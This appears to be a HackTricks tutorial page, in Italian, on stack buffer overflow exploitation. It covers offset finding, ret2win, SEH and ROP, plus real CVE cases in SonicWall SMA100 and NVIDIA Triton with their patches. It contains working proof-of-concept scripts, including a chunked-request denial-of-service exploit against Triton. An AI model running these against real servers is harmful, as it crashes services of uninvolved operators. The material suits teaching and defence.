Stack Overflow

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos'è uno Stack Overflow

Un stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso sovrascrivono aree di memoria adiacenti, causando la corruzione di dati validi, la deviazione del controllo di esecuzione e potenzialmente l'esecuzione di codice malevolo. Questo problema spesso nasce dall'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input.

Il problema principale di questa sovrascrittura è che il saved instruction pointer (EIP/RIP) e il saved base pointer (EBP/RBP) per tornare alla funzione precedente sono stored on the stack. Pertanto, un attaccante potrà sovrascriverli e controllare il flusso di esecuzione del programma.

La vulnerabilità solitamente nasce perché una funzione copia nello stack più byte di quanti ne siano stati allocati per essa, riuscendo così a sovrascrivere altre parti dello stack.

Alcune funzioni comunemente vulnerabili a questo sono: strcpy, strcat, sprintf, gets... Inoltre, funzioni come fgets, read e memcpy che richiedono un length argument possono essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.

Per esempio, le seguenti funzioni potrebbero essere vulnerabili:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Trovare gli offset degli Stack Overflows

Il modo più comune per trovare stack overflow è fornire un input molto grande di As (es. python3 -c 'print("A"*1000)') e aspettarsi un Segmentation Fault che indica che è stato tentato l'accesso all'indirizzo 0x41414141.

Inoltre, una volta scoperto che esiste una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario fino a poter overwrite the return address, per questo si usa solitamente una De Bruijn sequence. La quale, per un alfabeto di dimensione k e sottosequenze di lunghezza n, è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.

In questo modo, invece di dover determinare a mano quale offset è necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverla.

È possibile usare pwntools per questo:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Durante un overflow (supponendo che la dimensione dell'overflow sia sufficientemente grande) sarai in grado di overwrite i valori delle variabili locali nello stack fino a raggiungere il saved EBP/RBP and EIP/RIP (or even more).
Il modo più comune di abusare di questo tipo di vulnerabilità è modifying the return address così quando la funzione termina il control flow will be redirected wherever the user specified in questo puntatore.

Tuttavia, in altri scenari potrebbe bastare semplicemente overwriting some variables values in the stack per l'exploitazione (come in facili sfide CTF).

Ret2win

In questo tipo di CTF challenges, esiste una function inside il binary che è never called e che you need to call in order to win. Per queste sfide devi solo trovare l'offset to overwrite the return address e find the address of the function da chiamare (solitamente ASLR sarebbe disabilitato) così quando la vulnerable function returns, la hidden function verrà chiamata:

Ret2win

Stack Shellcode

In questo scenario l'attacker potrebbe piazzare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Su 32-bit Windows, un overflow può overwrite la Structured Exception Handler (SEH) chain invece del saved return address. L'exploitation tipicamente sostituisce il SEH pointer con un gadget POP POP RET e usa il campo nSEH di 4 byte per un short jump che pivot indietro nel large buffer dove risiede lo shellcode. Un pattern comune è uno short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare centinaia di byte indietro verso l'inizio del payload.

Windows Seh Overflow

ROP & Ret2... techniques

Questa tecnica è il framework fondamentale per bypassare la principale protezione alla tecnica precedente: No executable stack (NX). E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari sfruttando istruzioni esistenti nel binary:

ROP & JOP

Heap Overflows

Un overflow non si trova sempre nello stack, potrebbe anche essere nell'heap per esempio:

Heap Overflow

Types of protections

Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, consultarle in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Una buona dimostrazione del perché sscanf non dovrebbe mai essere considerato affidabile per l'analisi di input non attendibili apparve nel 2025 nell'appliance SSL-VPN di SonicWall SMA100. La routine vulnerabile dentro /usr/src/EasyAccess/bin/httpd tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La prima conversione (%2s) memorizza in modo sicuro due byte in version (es. "v1").
  2. La seconda conversione (%s) non ha uno specificatore di lunghezza, quindi sscanf continuerà a copiare fino al primo byte NUL.
  3. Poiché endpoint è collocato sul stack ed è 0x800 bytes long, fornire un path più lungo di 0x800 bytes corrompe tutto ciò che si trova dopo il buffer ‑ inclusi il stack canary e il saved return address.

Una proof-of-concept su una sola riga è sufficiente per scatenare il crash prima dell'autenticazione:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Anche se stack canaries terminano il processo, un attacker ottiene comunque un primitivo Denial-of-Service (e, con ulteriori information leaks, eventualmente code-execution). La lezione è semplice:

  • Fornire sempre una larghezza massima del campo (e.g. %511s).
  • Preferire alternative più sicure come snprintf/strncpy_s.

Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva multiple stack-based overflows raggiungibili tramite la sua HTTP API. Il pattern vulnerabile appariva ripetutamente in http_server.cc e sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) restituisce il numero di segmenti di buffer interni che compongono l'attuale corpo della richiesta HTTP.
  2. Ogni segmento provoca l'allocazione di un evbuffer_iovec da 16-byte sul stack tramite alloca()senza alcun limite superiore.
  3. Abusando di HTTP chunked transfer-encoding, un client può costringere la richiesta a essere suddivisa in centinaia di migliaia di chunk da 6-byte ("1\r\nA\r\n"). Questo fa sì che n cresca senza limiti finché lo stack non viene esaurito.

Proof-of-Concept (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il crash del daemon su una build di default.

Patch e mitigazione

La release 25.07 sostituisce l'allocazione non sicura sullo stack con un std::vector allocato sull'heap e gestisce in modo elegante std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Lezioni apprese:

  • Non chiamare mai alloca() con attacker-controlled sizes.
  • Chunked requests possono drasticamente cambiare la forma dei server-side buffers.
  • Valida / limita qualsiasi valore derivato da client input prima di usarlo in memory allocations.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks